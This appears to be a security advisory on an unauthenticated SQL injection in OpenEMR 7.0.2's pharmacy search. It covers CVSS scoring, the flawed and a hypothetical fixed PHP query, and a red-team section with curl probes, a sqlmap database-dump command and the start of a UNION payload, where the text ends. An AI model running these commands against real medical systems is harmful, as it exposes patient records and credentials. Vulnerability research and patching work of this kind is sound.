CVE-2024-22611

Executive Summary

CVE-2024-22611 is a critical unauthenticated SQL Injection vulnerability discovered in OpenEMR version 7.0.2. The flaw resides in the Pharmacy.class.php file, the C_Pharmacy.class.php controller, and the main controller.php entry point. An attacker can inject arbitrary SQL commands through unsanitized input parameters, leading to full database compromise, including exfiltration of Protected Health Information (PHI), credential theft, and potential lateral movement within the healthcare network. The vulnerability is publicly known with proof-of-concept code available, yet no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time, but the high CVSS score and public disclosure make it a high-priority target for red team exercises and proactive defense.

Supply Chain & Package Security

OpenEMR is a PHP-based application distributed via GitHub and its official website. The vulnerable version (7.0.2) is a direct download package. No third-party package manager (NPM, PyPI, Go, Ruby) is involved. The risk is primarily in the application's own codebase, not in a transitive dependency.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full database read access.
• Integrity (I): High – Ability to modify or delete database records.
• Availability (A): High – Potential to disrupt database operations.

Threat Level: Critical. The combination of no authentication, low complexity, and full impact on confidentiality, integrity, and availability makes this a top-priority vulnerability for any organization using OpenEMR 7.0.2.

Deep Dive & Mechanics

The SQL Injection vulnerability exists because user-supplied input is directly concatenated into SQL queries without proper sanitization or parameterized statements. The vulnerable code path is triggered via HTTP requests to controller.php which routes to C_Pharmacy.class.php and subsequently to Pharmacy.class.php.

Vulnerable Endpoint: /openemr/controller.php?action=search&type=pharmacy

The search action in C_Pharmacy.class.php passes unsanitized $_REQUEST parameters to a method in Pharmacy.class.php. Inside Pharmacy.class.php, the input is used in a SQL query like:

SELECT * FROM pharmacies WHERE name LIKE '%$input%'

An attacker can inject a single quote (') to break out of the string context and execute arbitrary SQL.

Attack Vector: The attacker sends a crafted HTTP GET or POST request to the vulnerable endpoint. The injection point is the search parameter or any other parameter passed to the pharmacy search functionality.

Impact: Successful exploitation allows an attacker to:

• Extract all data from the OpenEMR database, including patient records, medical histories, prescriptions, and user credentials.
• Modify or delete data, potentially causing denial of service or data integrity issues.
• In some database configurations, execute operating system commands (e.g., via xp_cmdshell in SQL Server or INTO OUTFILE in MySQL) leading to remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (OpenEMR 7.0.2):

In library/classes/Pharmacy.class.php:

function search($search_term) {
    $sql = "SELECT * FROM pharmacies WHERE name LIKE '%" . $search_term . "%'";
    return sqlQuery($sql);
}

The $search_term is directly concatenated into the SQL string.

Patched Code (Hypothetical Fix):

function search($search_term) {
    $sql = "SELECT * FROM pharmacies WHERE name LIKE ?";
    return sqlQuery($sql, array('%' . $search_term . '%'));
}

The fix uses a parameterized query (prepared statement) where the user input is bound as a parameter, preventing SQL injection. The sqlQuery function should be updated to support prepared statements.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of OpenEMR 7.0.2 (e.g., Docker container or local installation).
• A tool like sqlmap or curl for manual exploitation.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target/openemr/controller.php?action=search&type=pharmacy&search=test"
   

2. Confirm SQL Injection:

   curl "http://target/openemr/controller.php?action=search&type=pharmacy&search=test'"
   

   If the application returns a database error (e.g., You have an error in your SQL syntax), the injection is confirmed.

3. Automated exploitation with sqlmap:

   sqlmap -u "http://target/openemr/controller.php?action=search&type=pharmacy&search=test" --batch --dump
   

4. Manual exploitation example (MySQL):

   ' UNION SELECT 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